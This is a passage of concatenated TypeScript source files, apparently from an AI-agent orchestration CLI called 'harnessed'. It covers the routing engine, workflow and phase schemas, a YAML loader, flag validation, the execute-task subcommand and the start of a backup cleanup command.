'../audit/hook.js'\nimport { activatePhase, completePhase } from '../checkpoint/engineHook.js'\nimport {\n type AgentDefinition,\n type AgentDefinitionOpts,\n type ArbitrateResult,\n createAgent,\n InvalidDecisionError,\n MissingSkillsError,\n SkillNotInstalledError,\n type TaskContext,\n} from './agentDefinition.js'\nimport { type DagNode, resolveDag } from './dag.js'\nimport { arbitrate, loadDecisionRules, type Rule } from './decisionRules.js'\nimport {\n type FallbackMaxIterationsExceededConfig,\n handleMaxIterationsExceeded,\n handleVerbatimCompleteFail,\n} from './lib/fallbackHandlers.js'\nimport {\n MaxIterationsExceededError,\n ralphLoopWrap,\n VerbatimCompleteFailError,\n} from './lib/ralphLoop.js'\nimport { sdkSpawn } from './lib/sdkSpawn.js'\nimport { ensureSkillsInstalled } from './lib/skillInstall.js'\nimport { match as semanticMatch } from './semanticRouter.js'\n\nexport { MaxIterationsExceededError, VerbatimCompleteFailError } from './lib/ralphLoop.js'\n\n/** Engine three-state discriminated union (PLAN.md § 4 接口契约 1+2). */\nexport type EngineResult =\n | { ok: true; result: string; matchedRule: Rule | null }\n | { ok: false; phase: 'arbitrate' | 'install' | 'spawn' | 'verbatim'; error: Error }\n | { aborted: true; reason: string }\n\n/** Routing engine entry options. T2.4.W1.2: fallback* fields wire R20.10 c. */\nexport interface RoutingOpts {\n rulesPath?: string\n skillsRoot?: string\n spawn?: (agentDef: AgentDefinition) => Promise<string>\n maxIterations?: number\n spawnTimeoutMs?: number\n fallbackSupervisor?: (task: TaskContext) => Promise<string>\n agentOpts?: AgentDefinitionOpts\n dagNodes?: DagNode[]\n semanticThreshold?: number\n fallbackConfig?: FallbackMaxIterationsExceededConfig\n fallbackPhaseId?: string\n}\n\n/** Anchor 6 — production spawn = real sdkSpawn (T4.2). Replaces phase 1.4\n * placeholder; backward-compat test seam preserved via opts.spawn (1-arg). */\nconst defaultSpawn = (\n def: AgentDefinition,\n ctx: { expertName: string; resumeSessionId?: string; onSessionId?: (id: string) => void },\n) => sdkSpawn(def, ctx)\n\nfunction buildDecision(matched: Rule | null): ArbitrateResult {\n if (!matched) {\n return {\n matched_rule_id: null,\n primary_expert: null,\n secondary_expert: null,\n category: 'meta',\n }\n }\n return {\n matched_rule_id: matched.id,\n primary_expert: (matched.decision.primary_expert as string | null) ?? null,\n secondary_expert: (matched.decision.secondary_expert as string | null) ?? null,\n category: matched.domain as ArbitrateResult['category'],\n forbidden_skills: matched.decision.forbidden as string[] | undefined,\n required_skills: matched.decision.required_skills as string[] | undefined,\n }\n}\n\n/** Pattern N — main-process-driven routing engine entry point (≤200L). */\nexport async function runRouting(task: TaskContext, opts: RoutingOpts = {}): Promise<EngineResult> {\n const rulesPath = opts.rulesPath ?? join('routing', 'decision_rules.yaml')\n const skillsRoot = opts.skillsRoot ?? join(homedir(), '.claude', 'skills')\n const maxIter = opts.maxIterations ?? 20\n const userSpawn = opts.spawn\n\n // Step 0 — DAG pre-check (T3.4, ADR 0009 § DAG Kahn cycle reject).\n if (opts.dagNodes && opts.dagNodes.length > 0) {\n const dag = resolveDag(opts.dagNodes)\n if (!dag.ok) {\n const error = new InvalidDecisionError(\n `skill dependency cycle: ${dag.cycle.join(' → ')} (see ADR 0009 § DAG resolver)`,\n )\n return { ok: false, phase: 'arbitrate', error }\n }\n }\n\n // Step 1 — arbitrate (Anchor 1 step 1, L1 keyword routing)\n let rules: Rule[]\n try {\n rules = loadDecisionRules(rulesPath).rules\n } catch (error) {\n return { ok: false, phase: 'arbitrate', error: error as Error }\n }\n const taskCtx = {\n task_type: task.task_type,\n ...(task.override_keywords ? { override_keywords: task.override_keywords } : {}),\n }\n const matched = arbitrate(rules, taskCtx)\n const decision = buildDecision(matched)\n\n if (!matched) {\n // Step 1b — L2 Semantic Router stub (T3.4 v0.1 always null pass-through to L3).\n const semantic = await semanticMatch(task.task, opts.semanticThreshold)\n void semantic.rule // v0.2+ feeds rule\n if (opts.fallbackSupervisor) {\n const result = await opts.fallbackSupervisor(task)\n return { ok: true, result, matchedRule: null }\n }\n return {\n ok: false,\n phase: 'arbitrate',\n error: new InvalidDecisionError('no rule matched and no fallbackSupervisor provided'),\n }\n }\n\n // Step 2 — install missing skills (Anchor 3)\n try {\n await ensureSkillsInstalled(decision.required_skills ?? [], skillsRoot)\n } catch (error) {\n return { ok: false, phase: 'install', error: error as Error }\n }\n\n // Step 3 — factory (T3.2 createAgent)\n let agentDef: AgentDefinition\n try {\n agentDef = await createAgent(task, decision, { ...opts.agentOpts, skillsRoot })\n } catch (error) {\n if (error instanceof SkillNotInstalledError || error instanceof MissingSkillsError) {\n return { ok: false, phase: 'install', error }\n }\n if (error instanceof InvalidDecisionError) {\n return { ok: false, phase: 'arbitrate', error }\n }\n return { ok: false, phase: 'spawn', error: error as Error }\n }\n\n const phaseId = task.phaseId ?? 'unknown' // Phase 3.1 W3 T3.2 (W-04 fix path a)\n await activatePhase(phaseId)\n\n // Step 4+5 spawn + ralph-loop. userSpawn = test seam (B-02 1-arg); defaultSpawn captures session_id.\n const expertName = (matched.decision.primary_expert as string | null) ?? 'unknown'\n let capturedSessionId: string | undefined\n const wrappedSpawn = async (\n resumeSessionId?: string,\n onSessionIdInner?: (id: string) => void,\n ): Promise<string> =>\n userSpawn\n ? userSpawn(agentDef)\n : defaultSpawn(agentDef, {\n expertName,\n ...(resumeSessionId ? { resumeSessionId } : {}),\n onSessionId: (id) => {\n capturedSessionId = id\n onSessionIdInner?.(id)\n },\n })\n const fbCtx = {\n subtaskSummary: task.task,\n workflowName: task.task_type ?? 'unknown',\n phaseId: opts.fallbackPhaseId ?? task.phaseId ?? 'unknown',\n }\n try {\n const result = await ralphLoopWrap(wrappedSpawn, maxIter)\n await completePhase({ phaseId, sessionId: capturedSessionId, status: 'complete' })\n emitAudit(task, decision, matched, 'complete', capturedSessionId)\n return { ok: true, result, matchedRule: matched }\n } catch (error) {\n if (error instanceof MaxIterationsExceededError) {\n emitAudit(task, decision, matched, 'max-iter', capturedSessionId)\n if (opts.fallbackConfig)\n handleMaxIterationsExceeded(error, opts.fallbackConfig, {\n ...fbCtx,\n maxIterations: maxIter,\n })\n return { aborted: true, reason: error.message }\n }\n if (error instanceof VerbatimCompleteFailError) {\n emitAudit(task, decision, matched, 'verbatim-fail', capturedSessionId)\n if (opts.fallbackConfig) handleVerbatimCompleteFail(error, opts.fallbackConfig, fbCtx)\n return { ok: false, phase: 'verbatim', error }\n }\n emitAudit(task, decision, matched, 'spawn-err', capturedSessionId)\n return { ok: false, phase: 'spawn', error: error as Error }\n }\n}\n","// Per-phase model tier schema — ADR 0011 errata (phase 2.2 W3 — F5 / CD-2 D-04).\n//\n// Intel `omc-comparison.md` § CD-2 (per-phase model tier — execute-task 省 token):\n// 每个 workflow phase 静态标 `model:` 字段,agentFactory 读 `phase.model` 填进\n// `AgentDefinition.model`(SDK 5 字段里本就有 `model`,零新引擎)。\n//\n// 默认表 (workflows/execute-task/phases.yaml T3.3):\n// 01-clarify = opus (任务复杂度澄清)\n// 02-code = sonnet (心法 always-on)\n// 03-test = sonnet (conditional TDD)\n// 04-deliver = haiku (迭代验收循环省 token — 关键点)\n//\n// `--model-tier inherit` CLI flag override 逃生口 (B-10 — 用户场景多样)。\n// 与 GSD `/gsd-set-profile` 独立 namespace (GSD profile 管 GSD agent,\n// harnessed 管 spawn 的 subagent — intel CD-2 § 实施约束)。\n//\n// IMPL NOTE: TypeBox (`@sinclair/typebox`) per repo convention — NOT zod.\n\nimport { type Static, Type } from '@sinclair/typebox'\n\nexport const ModelTier = Type.Union([\n Type.Literal('haiku'),\n Type.Literal('sonnet'),\n Type.Literal('opus'),\n Type.Literal('inherit'), // B-10 override 逃生口\n])\n\nexport const PhaseEntry = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // e.g. '01-clarify'\n name: Type.String({ minLength: 1 }),\n upstream: Type.String({ minLength: 1 }), // e.g. 'superpowers brainstorming'\n model: ModelTier, // 必填 (B-08)\n skills: Type.Optional(Type.Array(Type.String())),\n max_iterations: Type.Optional(Type.Integer({ minimum: 1, maximum: 100 })),\n // Phase 3.2 W1 T1.7 — JINJA-templated invokes string (D-02, W-02 orchestrator fix unconditional extend).\n invokes: Type.Optional(Type.String()),\n },\n { additionalProperties: false },\n)\n\nexport const PhasesSchema = Type.Object(\n {\n workflow: Type.String({ minLength: 1 }), // e.g. 'execute-task'\n phases: Type.Array(PhaseEntry, { minItems: 1 }),\n // Phase 3.2 W1 T1.7 — CEO veto halt directive (D-04 PUSH, W-02 orchestrator fix unconditional extend).\n on_veto: Type.Optional(Type.String({ pattern: '^halt_workflow$' })),\n },\n { additionalProperties: false },\n)\n\nexport type ModelTierType = Static<typeof ModelTier>\nexport type PhaseEntryType = Static<typeof PhaseEntry>\nexport type PhasesSchemaType = Static<typeof PhasesSchema>\n","// src/workflow/schema/workflow.ts — Phase v3.0-3.3 W0 T3.3.W0.5 (R30.9 + D-09 + D-05 + D-01).\n// TypeBox schema for harnessed.workflow.v3 — covers 20 workflow yaml v3 surfaces\n// (4 master orchestrator + 14 sub-stage + 2 standalone per D-07) per\n// D-04 + D-09 + D-05 + D-01 NEW + Pattern A A.1 reconcile (strict Literal Union).\n//\n// v2 → v3 字段 delta (sister Phase v2.0-2.4 W0 T2.4.W0.1 SHIPPED v2 86L):\n// BUMP `schema_version: 'harnessed.workflow.v3'` (17th surface in schemaVersion.ts)\n// ADD `disciplines_applied` — strict Literal Union of 6 basename (D-09 + Pattern A A.1)\n// ADD `tools_available` — string[] capabilities.yaml entry name (D-05)\n// ADD `delegates_to` — DelegationClause[] master orchestrator only (D-01 NEW)\n// ADD phase.`invokes_tools` — InvokeToolClause[] conditional fire (D-05)\n// CHANGE `phases` to Optional — master has delegates_to only, sub/standalone has phases\n//\n// Runtime invariant (NOT schema): every parsed yaml must have phases[] OR delegates_to[]\n// (engine asserts in `runWorkflow`); BOTH absent → fail-fast.\n//\n// IMPL NOTE: workflow engine pre-resolves `gate` / `parallelism` 4-level ref via\n// T2.3.W0.4 judgmentResolver BEFORE expr-eval evaluation.\n// additionalProperties:false strict per Phase 2.2 STRIDE T-2.2-02 mitigation.\n// Pattern A A.1 strict Literal Union LOCKED — typo basename ('karpatHy' etc) fails fast.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst ModelTier = Type.Union([Type.Literal('haiku'), Type.Literal('sonnet'), Type.Literal('opus')])\n\nconst OnAction = Type.Union([Type.Literal('skip'), Type.Literal('invoke')])\n\n// Pattern A A.1 LOCK — strict Literal Union of 6 discipline basename (D-09).\n// Typo ('karpatHy' / 'output_style') fails Value.Check fast; sister 6 yaml file basename verbatim.\nexport const DisciplineName = Type.Union([\n Type.Literal('karpathy'),\n Type.Literal('output-style'),\n Type.Literal('language'),\n Type.Literal('operational'),\n Type.Literal('priority'),\n Type.Literal('protocols'),\n])\n\nexport const OnClause = Type.Object(\n {\n if: Type.String(), // expr-eval expression OR judgments.<file>.<gate>.fires ref\n invoke: Type.Optional(Type.String()), // '{{ capabilities.<name>.cmd }}' OR literal\n action: Type.Optional(OnAction),\n },\n { additionalProperties: false },\n)\n\n// D-05 NEW — phase-level conditional tool fire (sister OnClause 'if?' + 主语段 style).\nexport const InvokeToolClause = Type.Object(\n {\n if: Type.Optional(Type.String()), // optional — 无 if = unconditional fire\n tool: Type.String({ minLength: 1 }), // capabilities.yaml entry name (cross-validate T3.3.W0.10)\n },\n { additionalProperties: false },\n)\n\n// D-01 NEW — master orchestrator declarative delegation (replaces phase-level invokes for master).\nexport const DelegationClause = Type.Object(\n {\n sub: Type.String({ minLength: 1 }), // sub-stage workflow name e.g. 'strategic' / 'phase' / 'subtask'\n gate: Type.Optional(Type.String()), // judgments.<file>.<trigger>.fires 4-level ref\n mode: Type.Optional(Type.Union([Type.Literal('parallel'), Type.Literal('serial')])),\n order: Type.Optional(Type.Number()), // serial-only: explicit ordering (K9 mitigation enforced in check-workflow-schema)\n },\n { additionalProperties: false },\n)\n\nexport const FallbackMaxIterationsExceeded = Type.Object(\n {\n action: Type.Literal('emit_warning_and_halt'), // R20.10 acceptance c \"explicit NOT silent\"\n message: Type.String(),\n exit_code: Type.Number(),\n },\n { additionalProperties: false },\n)\n\nexport const PhaseFallback = Type.Object(\n {\n max_iterations_exceeded: Type.Optional(FallbackMaxIterationsExceeded),\n },\n { additionalProperties: false },\n)\n\nexport const WorkflowPhaseV3 = Type.Object(\n {\n id: Type.String({ minLength: 1 }),\n name: Type.Optional(Type.String()),\n upstream: Type.Optional(Type.String()),\n capability: Type.Optional(Type.String()), // '{{ capabilities.ralph-loop.cmd }}'\n model: Type.Optional(ModelTier),\n invokes: Type.Optional(Type.String()), // legacy slash-cmd OR JINJA template\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n gate: Type.Optional(Type.String()), // judgments.<file>.<gate>.fires 4-level ref\n on: Type.Optional(Type.Array(OnClause)),\n parallelism: Type.Optional(Type.String()), // judgments.parallelism-gate.<route>.fires\n fallback: Type.Optional(PhaseFallback),\n max_iterations: Type.Optional(\n Type.Union([Type.Number(), Type.String()]), // numeric literal OR jinja '{{ defaults.x.y }}'\n ),\n artifacts_expected: Type.Optional(Type.Array(Type.String())),\n invokes_tools: Type.Optional(Type.Array(InvokeToolClause)), // NEW v3 D-05 phase-level conditional fire\n },\n { additionalProperties: false },\n)\n\nexport const WorkflowSchemaV3 = Type.Object(\n {\n schema_version: Type.Literal(SCHEMA_VERSIONS.workflow_v3),\n workflow: Type.String({ minLength: 1 }),\n description: Type.Optional(Type.String()),\n disciplines_applied: Type.Optional(Type.Array(DisciplineName)), // NEW v3 D-09 (Pattern A A.1 strict Literal Union)\n tools_available: Type.Optional(Type.Array(Type.String())), // NEW v3 D-05 (cross-validate T3.3.W0.10)\n delegates_to: Type.Optional(Type.Array(DelegationClause)), // NEW v3 D-01 (master orchestrator only)\n phases: Type.Optional(Type.Array(WorkflowPhaseV3, { minItems: 1 })), // 改 Optional — master 无 phases, sub/standalone 必有\n },\n { additionalProperties: false },\n)\n\nexport type WorkflowPhaseV3T = Static<typeof WorkflowPhaseV3>\nexport type WorkflowSchemaV3T = Static<typeof WorkflowSchemaV3>\nexport type DelegationClauseT = Static<typeof DelegationClause>\nexport type InvokeToolClauseT = Static<typeof InvokeToolClause>\nexport type DisciplineNameT = Static<typeof DisciplineName>\nexport type FallbackMaxIterationsExceededT = Static<typeof FallbackMaxIterationsExceeded>\nexport type PhaseFallbackT = Static<typeof PhaseFallback>\nexport type OnClauseT = Static<typeof OnClause>\n\n// v2 backward-compat re-export — sister run.ts + checker still reads v2 yaml during transition.\n// Phase v2.0-2.4 W0 T2.4.W0.1 SHIPPED — KEEP for Phase v3.0-3.3 setup-helpers v2 deprecation period.\n// CHANGELOG: drop v2 alias post v3.0 GA + setup-helpers nested scan + v2 yaml removed.\nexport {\n type PhaseShape,\n WorkflowPhaseV2,\n type WorkflowPhaseV2T,\n WorkflowSchemaV2,\n type WorkflowSchemaV2T,\n} from './workflow.v2.js'\n","// src/workflow/schema/workflow.v2.ts — Phase v2.0-2.4 W0 T2.4.W0.1 SHIPPED schema.\n// SPLIT from workflow.ts during Phase v3.0-3.3 W0 T3.3.W0.5 (v3 schema bump) to\n// preserve karpathy ≤200L hard limit + maintain v2 yaml backward-compat during\n// setup-helpers v2 deprecation period (T3.3.W0.12).\n//\n// Removal target: Phase v3.0 GA + 1 minor cycle (sister CHANGELOG alias map period).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst ModelTier = Type.Union([Type.Literal('haiku'), Type.Literal('sonnet'), Type.Literal('opus')])\n\nconst OnAction = Type.Union([Type.Literal('skip'), Type.Literal('invoke')])\n\nexport const OnClauseV2 = Type.Object(\n {\n if: Type.String(),\n invoke: Type.Optional(Type.String()),\n action: Type.Optional(OnAction),\n },\n { additionalProperties: false },\n)\n\nexport const FallbackMaxIterationsExceededV2 = Type.Object(\n {\n action: Type.Literal('emit_warning_and_halt'),\n message: Type.String(),\n exit_code: Type.Number(),\n },\n { additionalProperties: false },\n)\n\nexport const PhaseFallbackV2 = Type.Object(\n {\n max_iterations_exceeded: Type.Optional(FallbackMaxIterationsExceededV2),\n },\n { additionalProperties: false },\n)\n\nexport const WorkflowPhaseV2 = Type.Object(\n {\n id: Type.String({ minLength: 1 }),\n name: Type.Optional(Type.String()),\n upstream: Type.Optional(Type.String()),\n capability: Type.Optional(Type.String()),\n model: Type.Optional(ModelTier),\n invokes: Type.Optional(Type.String()),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n gate: Type.Optional(Type.String()),\n on: Type.Optional(Type.Array(OnClauseV2)),\n parallelism: Type.Optional(Type.String()),\n fallback: Type.Optional(PhaseFallbackV2),\n max_iterations: Type.Optional(Type.Union([Type.Number(), Type.String()])),\n artifacts_expected: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\nexport const WorkflowSchemaV2 = Type.Object(\n {\n schema_version: Type.Literal(SCHEMA_VERSIONS.workflow),\n workflow: Type.String({ minLength: 1 }),\n description: Type.Optional(Type.String()),\n phases: Type.Array(WorkflowPhaseV2, { minItems: 1 }),\n },\n { additionalProperties: false },\n)\n\nexport type WorkflowPhaseV2T = Static<typeof WorkflowPhaseV2>\nexport type WorkflowSchemaV2T = Static<typeof WorkflowSchemaV2>\n/** Alias of `WorkflowPhaseV2T` — sister deferred-items.md T2.4.W1.5 path-A naming. */\nexport type PhaseShape = WorkflowPhaseV2T\n","// loadPhases — parse + validate `phases.yaml` against PhasesSchema (T3.1) OR\n// WorkflowSchemaV2 (T2.4.W1.1 Option A++ dispatch by `schema_version`).\n//\n// ADR 0011 errata — per-phase model tier (phase 2.2 W3 — T3.2).\n// Sister to `src/manifest/validate.ts`(Ajv) — here we use TypeBox `Value.Check` +\n// `Value.Errors` directly (simpler than Ajv compile path; phases.yaml schema is\n// tiny ~50L and not on hot path — no perf gate needed).\n//\n// Pattern lifted from PATTERNS § 5 D-WP-1 \"Truly NEW patterns\" row.\n//\n// Phase 3.2 W2 T2.1 — sig extend `vars?: Record<string, string>`; if provided,\n// interpolate {{ var }} placeholders in `invokes` field per phase (D-02 JINJA\n// LOCKED). Backward-compat: vars omitted → no interpolate (existing callers\n// unchanged; sister `workflows/execute-task/phases.yaml` has no invokes).\n//\n// Phase v2.0-2.4 W1.1 T2.4.W1.1 (Option A++ team-lead arbitration) — schema\n// dispatch on root `schema_version` field. v2 yaml validates against\n// WorkflowSchemaV2 and the v2 shape is returned unchanged (structural superset\n// of v1 — legacy v1 readers safely access the v1 subset; engine catch handler\n// reads `phase.fallback.max_iterations_exceeded.*` for R20.10 explicit halt).\n// Legacy yaml without `schema_version` falls back to PhasesSchema v1 path.\n\nimport { readFileSync } from 'node:fs'\nimport { Value, type ValueError } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { interpolate } from './interpolate.js'\nimport { PhasesSchema, type PhasesSchemaType } from './schema/phases.js'\nimport { WorkflowSchemaV2, type WorkflowSchemaV2T } from './schema/workflow.js'\n\nexport class PhasesValidationError extends Error {\n constructor(public errors: ValueError[]) {\n super(`phases.yaml validation failed (${errors.length} error${errors.length === 1 ? '' : 's'})`)\n this.name = 'PhasesValidationError'\n }\n}\n\nexport type LoadedPhases = PhasesSchemaType | WorkflowSchemaV2T\n\n/** Load + validate a phases.yaml file. Throws `PhasesValidationError` on schema\n * violation. If `vars` provided, interpolates {{ var }} in each phase's\n * `invokes` field (Phase 3.2 W2 T2.1 D-02 JINJA).\n *\n * T2.4.W1.1 v2 dispatch (Option A++): yaml with `schema_version:\n * harnessed.workflow.v2` validates against `WorkflowSchemaV2` and is returned\n * unchanged. Legacy v1 consumers read the v1 subset (workflow + phases[id,\n * name, upstream, model, max_iterations, invokes]) which the v2 shape\n * structurally contains; engine catch handler reads `phase.fallback`. */\nexport function loadPhases(yamlPath: string, vars?: Record<string, string>): LoadedPhases {\n const raw = readFileSync(yamlPath, 'utf8')\n const parsed = parseYaml(raw) as { schema_version?: string } | null\n\n const isV2 = parsed?.schema_version === 'harnessed.workflow.v2'\n if (isV2) {\n if (!Value.Check(WorkflowSchemaV2, parsed)) {\n throw new PhasesValidationError([...Value.Errors(WorkflowSchemaV2, parsed)])\n }\n } else {\n if (!Value.Check(PhasesSchema, parsed)) {\n throw new PhasesValidationError([...Value.Errors(PhasesSchema, parsed)])\n }\n }\n const validated = parsed as LoadedPhases\n\n // Phase 3.2 W2 T2.1 — JINJA interpolate invokes field (D-02 LOCKED).\n // Backward-compat: vars omitted → no interpolate (existing callers unchanged).\n if (vars) {\n for (const ph of validated.phases) {\n if (ph.invokes) ph.invokes = interpolate(ph.invokes, vars)\n }\n }\n return validated\n}\n","// Phase 5.2 W0 #BH — extract H1 gate duplicate from 5 CLI files.\n// Sister: src/installers/lib/err.ts (Phase 5.1 W0 #BG extract pattern).\n//\n// 5-site duplicate (install.ts + install-base.ts + research.ts +\n// manifest-add.ts + execute-task.ts) consolidated here.\n// uninstall.ts uses --yes/--apply variant (NOT --non-interactive) — keep inline.\n\n/**\n * H1 pre-action gate: --non-interactive requires --apply or --dry-run.\n * Exits with code 2 if --non-interactive is set without either flag.\n *\n * v3.0.1 UX flip note: CLI default is now apply-immediate, but the H1 gate\n * is kept verbatim for CI / scripts — explicit intent (`--apply` for execute\n * OR `--dry-run` for preview) is still required to avoid silent surprises\n * in automation。Interactive TTY 使用不受影响 (default apply-immediate)。\n */\nexport function validateNonInteractiveFlags(\n raw: { nonInteractive?: boolean; apply?: boolean; dryRun?: boolean },\n cmdName: string,\n): void {\n if (raw.nonInteractive && !raw.apply && !raw.dryRun) {\n console.error(\n `error: --non-interactive requires --apply or --dry-run\\n` +\n ` fix: 'harnessed ${cmdName} --non-interactive --dry-run' or '--apply'`,\n )\n process.exit(2)\n }\n}\n","// Phase 2.2 T5.1 — `harnessed execute-task --task <text>` independent subcommand.\n//\n// IMPL NOTE — B-10 + B-28 + PATTERNS § 2.1 (Register block).\n// Sister to src/cli/research.ts L16-92 — same H1 gate (sibling install-base.ts L51-56),\n// same 3-state EngineResult → exit code mapping (0 COMPLETE / 1 FAIL / 2 USAGE).\n// Loads execute-task workflow phases.yaml (T3.2 loadPhases) + drives engine.runRouting\n// (T4.2 sdkSpawn-backed). `--model-tier inherit` flag = B-10 escape hatch — overrides\n// per-phase phase.model with 'inherit' for SDK parent-resolve semantics (W3 ModelTier\n// 4th enum). Forward-looking subcommand surface; auto-invocation pushed Phase 2.3.\n//\n// Phase v3.0-3.5 W0 T3.5.W0.4 — before-commit hook wire (K5 Option A enforcement):\n// --apply path pre-flight `runBeforeCommitHook` enforce biome auto-fix on TS/JS work\n// tree changes BEFORE ralph-loop subagent spawn。subagent SDK 内部 git commit 时\n// work tree 已 biome-clean。User 主 session git commit 不走此 path(clean separation\n// per K5 Option A;主 session 用户自负 biome-preempt 责任)。\n// dry-run path NOT triggered(K5 Option A 仅 真 spawn 路径 enforce)。\n\nimport { execSync } from 'node:child_process'\nimport type { Command } from 'commander'\nimport { runBeforeCommitHook } from '../discipline/enforcement/before-commit.js'\nimport { runRouting, type TaskContext } from '../routing/index.js'\nimport type { FallbackMaxIterationsExceededConfig } from '../routing/lib/fallbackHandlers.js'\nimport { type LoadedPhases, loadPhases } from '../workflow/loadPhases.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n task?: string\n apply?: boolean\n dryRun?: boolean\n nonInteractive?: boolean\n model?: 'haiku' | 'sonnet' | 'opus'\n modelTier?: 'inherit'\n maxIterations?: number\n workflow?: string\n}\n\nexport function registerExecuteTask(program: Command): void {\n program\n .command('execute-task')\n .description(\n 'Run execute-task workflow (4-phase chain → ralph-loop COMPLETE; immediate by default — use --dry-run for preview)',\n )\n .requiredOption('--task <text>', 'task description (required)')\n .option('--workflow <name>', 'workflow name', 'execute-task')\n .option(\n '--apply',\n '(deprecated; kept for backward compat — execute-task spawns immediately by default)',\n )\n .option('--dry-run', 'preview only — do not spawn subagent (opt-in for advanced users)')\n .option('--non-interactive', 'CI / scripts — requires --apply or --dry-run')\n .option('--model <model>', \"subagent model: 'haiku' | 'sonnet' | 'opus'\")\n .option('--model-tier <tier>', \"override: 'inherit' bypasses per-phase phase.model (B-10)\")\n .option('--max-iterations <n>', 'ralph-loop max iter (default 20)', (v) => parseInt(v, 10))\n .action(async (raw: RawOpts) => {\n // H1 gate — sibling install-base.ts pattern\n validateNonInteractiveFlags(raw, 'execute-task --task <text>')\n if (!raw.task) {\n console.error('error: --task <text> is required')\n process.exit(2)\n }\n\n const workflowName = raw.workflow ?? 'execute-task'\n let phases: ReturnType<typeof loadPhases>\n try {\n phases = loadPhases(`workflows/${workflowName}/phases.yaml`)\n } catch (error) {\n console.error(\n `error: failed to load workflows/${workflowName}/phases.yaml — ${(error as Error).message}`,\n )\n process.exit(2)\n }\n\n // B-10 escape hatch — `--model-tier inherit` overrides all phase.model values.\n // T2.4.W1.1: loadPhases returns LoadedPhases union (v1 PhasesSchema OR v2\n // WorkflowSchemaV2T). Cast assembled override to LoadedPhases to preserve\n // v2-only fields (capability/gate/on/fallback) for downstream engine handler.\n if (raw.modelTier === 'inherit') {\n phases = {\n ...phases,\n phases: phases.phases.map((p) => ({ ...p, model: 'inherit' as const })),\n } as LoadedPhases\n }\n\n const taskCtx: TaskContext = { task: raw.task, task_type: 'execute-task' }\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n const isDryRun = raw.dryRun === true\n\n // Dry-run path — arbitrate-only preview (mirrors research.ts L52-72).\n if (isDryRun) {\n console.log(\n JSON.stringify({ workflow: phases.workflow, phases: phases.phases, taskCtx }, null, 2),\n )\n process.exit(0)\n }\n\n // T2.4.W1.5 — extract phase.fallback.max_iterations_exceeded from v2 phases.yaml\n // (sister `04-deliver` ralph-loop wrapper). Narrow v1 ∪ v2 LoadedPhases via\n // structural `'fallback' in p` check; engine.ts catch handler delegates to\n // handleMaxIterationsExceeded (R20.10 c explicit halt, NOT silent exit).\n let fallbackConfig: FallbackMaxIterationsExceededConfig | undefined\n let fallbackPhaseId: string | undefined\n for (const ph of phases.phases) {\n if ('fallback' in ph && ph.fallback?.max_iterations_exceeded) {\n fallbackConfig = ph.fallback.max_iterations_exceeded\n fallbackPhaseId = ph.id\n break\n }\n }\n\n // T3.5.W0.4 — before-commit hook K5 Option A enforcement (ralph-loop / subagent\n // auto-commit path ONLY)。--apply path 在 runRouting subagent spawn 前 enforce\n // biome auto-fix:work tree TS/JS modified files → biome --write,subagent SDK\n // 内部 commit 时已 biome-clean。--apply 等同 user explicit approval = pass。\n // User 主 session 直接 git commit NOT 走此 path(K5 Option A clean separation)。\n try {\n const stagedOut = execSync('git status --porcelain', { encoding: 'utf8' })\n const changedFiles = stagedOut\n .split('\\n')\n .filter((l) => l.trim().length > 0)\n .map((l) => l.slice(3).trim())\n await runBeforeCommitHook({\n changedFiles,\n cmdArgs: [],\n packageRoot: process.cwd(),\n cmdType: 'git-commit',\n hasUserApproval: true, // --apply explicit\n })\n } catch (err) {\n // Fail-soft per ADR 0029:git status / biome auto-fix throw → warn + 继续\n // (subagent 内部 commit 时还会有第二道 biome --write check via SDK Bash tool)。\n console.warn(\n `⚠️ before-commit pre-flight skipped (${(err as Error).message}); ` +\n 'subagent will biome-check at commit time.',\n )\n }\n\n // --apply path — real spawn via engine.runRouting (T4.2 sdkSpawn).\n const result = await runRouting(taskCtx, {\n maxIterations: raw.maxIterations ?? 20,\n ...(raw.model ? { agentOpts: { modelOverride: raw.model } } : {}),\n ...(fallbackConfig ? { fallbackConfig } : {}),\n ...(fallbackPhaseId ? { fallbackPhaseId } : {}),\n })\n // T2.4.W1.5 — `aborted` branch reachable ONLY when `fallbackConfig` is\n // absent (legacy caller / unit test mock without v2 yaml fallback). With\n // wire-in: engine handleMaxIterationsExceeded calls process.exit(exit_code)\n // directly, so control never returns here for v2 execute-task workflow.\n if ('aborted' in result) {\n console.error(`aborted: ${result.reason}`)\n process.exit(2)\n }\n if ('ok' in result && result.ok === false) {\n console.error(`error: ${result.phase} — ${result.error.message}`)\n process.exit(1)\n }\n console.log(result.result)\n process.exit(0)\n })\n}\n","// Phase 1.2 cli subcommand `gc` per ADR 0004 § Consequences Negative #3 +\n// sister review M1 mitigation.\n//\n// IMPL NOTE (Rule 1 / ADR 0004 § Consequences Negative #3): backup snapshots\n// accumulate without bound; users will eventually fill disk. The M1 sister\n// review fix promotes `harnessed gc --older-than 30d` from \"phase 2.4\n// deferred\" to \"phase 1.2 ship\" because the failure mode is silent (users\n// only notice when df -h is red), and ADR 0004 § Consequences explicitly\n// names this as the chosen mitigation.\n//\n// IMPL NOTE (v3.0.1 UX flip — apply-immediate default + --dry-run opt-in):\n// gc follows the unified apply-immediate default convention (sister\n// install.ts pattern verbatim). Without flags → delete candidates。\n// `--dry-run` opt-in 列出 candidates 但不真删 (高级用户预览)。\n// `--apply` 保留 backward-compat no-op alias (旧脚本仍 work)。\n// keepLast + olderThan filter 仍 protect 误删近期 snapshot (safety contract)。\n\nimport { readdir, readFile, rm, stat } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { getBackupRoot } from '../installers/lib/backup.js'\n\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: unknown[]\n}\n\ninterface GcOpts {\n olderThan?: string\n keepLast?: string\n apply?: boolean\n dryRun?: boolean\n}\n\nconst DURATION_RE = /^(\\d+)([dhmw])$/\nfunction parseDuration(s: string): number | null {\n const m = 